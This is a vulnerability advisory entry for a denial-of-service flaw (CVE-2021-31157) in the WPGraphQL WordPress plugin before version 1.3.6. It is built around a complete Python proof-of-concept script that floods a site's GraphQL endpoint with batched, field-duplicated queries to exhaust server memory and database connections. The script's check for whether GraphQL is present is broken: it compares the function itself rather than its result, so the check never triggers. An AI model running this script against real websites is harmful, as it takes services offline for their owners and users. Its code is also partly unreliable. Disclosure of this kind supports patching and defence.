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WordPress Plugin Vulnerabilities

WPGraphQL < 1.3.6 - Denial of Service

Description

The plugin suffers from a Denial of Service vulnerability by Field Duplication. It is possible to create an expensive query by duplicating the number of fields, while simultaneously sending these requests in batches using GraphQL's Batching capability.

v1.3.6 added a setting to disable batch queries

Proof of Concept

"""
  This attack uses duplication of fields amplified by GraphQL batched queries, resulting in server OOM and MySQL connection errors.
"""

import sys
import requests


def usage():
  print('* WordPress GraphQL 1.3.5 Denial of Service *')
  print('python {} <wordpress_url> <number_of_field_duplications> <number_of_chained_queries>'.format(sys.argv[0]))
  print('python {} http://site.com 10000 100'.format(sys.argv[0]))
  sys.exit(1)

if len(sys.argv) < 4:
  print('Missing arguments!')
  usage()

def wpgql_exists():
  try:
    r = requests.post(WORDPRESS_URL, json='x')
    if 'GraphQL' in r.json()['errors'][0]['message']:
      return True
  except:
    pass
  return False

# This PoC assumes graphql is located at index.php?graphql
WORDPRESS_URL = sys.argv[1] + '/index.php?graphql'
FORCE_MULTIPLIER = int(sys.argv[2])
CHAINED_REQUESTS = int(sys.argv[3])

if wpgql_exists is False:
  print('Could not identify GraphQL running at "/index.php?graphql"')
  sys.exit(1)

queries = []

payload = 'content \n comments { \n nodes { \n content } }' * FORCE_MULTIPLIER
query = {'query':'query { \n posts { \n nodes { \n ' + payload + '} } }'}

for _ in range(0, CHAINED_REQUESTS):
  queries.append(query)

r = requests.post(WORDPRESS_URL, json=queries)
print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
print('Response:', r.json()) 

Affects Plugins

wp-graphql
Fixed in version 1.3.6

References

CVE
CVE-2021-31157
ExploitDB
49807

YouTube Video

Classification

Type

DOS

CWE
CWE-400

Miscellaneous

Original Researcher

Dolev Farhi

Submitter

Dolev Farhi

Submitter twitter
dftrace
Verified

Yes

WPVDB ID
95cc88c8-18a3-4937-a6a9-8e80c6e859c5

Timeline

Publicly Published

2021-04-27 (about 1 years ago)

Added

2021-04-27 (about 1 years ago)

Last Updated

2021-08-10 (about 1 years ago)

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